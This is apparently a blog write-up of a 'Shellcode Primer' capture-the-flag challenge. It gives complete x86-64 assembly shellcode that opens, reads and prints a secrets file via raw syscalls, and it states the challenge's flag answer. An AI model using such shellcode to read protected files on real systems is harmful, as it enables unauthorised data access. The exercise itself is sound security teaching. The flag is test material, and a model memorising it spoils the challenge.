Shellcode Primer

The Challenge

My final ASM program is the following:

; TODO: Get a reference to this
call getstring
db '/var/northpolesecrets.txt',0
getstring:
pop rax
mov rbx,rax
; TODO: Call sys_open
mov rax,2
mov rdi,rbx
mov rsi,0
mov rdx,0
syscall
mov rbx,rax

; TODO: Call sys_read on the file handle and read it into rsp
mov rax,0
mov rdi,rbx
mov rsi,rsp
mov rdx,300
syscall

; TODO: Call sys_write to write the contents from rsp to stdout (1)
mov rax,1
mov rdi,1
mov rsi,rsp
mov rdx,300
syscall

; TODO: Call sys_exit
mov rax,60
; TODO: Put the exit_code we want (99) in rdi
mov rdi, 99

; Perform the actual syscall
syscall 
ret

Here is the debugger scene I got when compiling:

The answer is “cyber security knowledge

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

%d bloggers like this: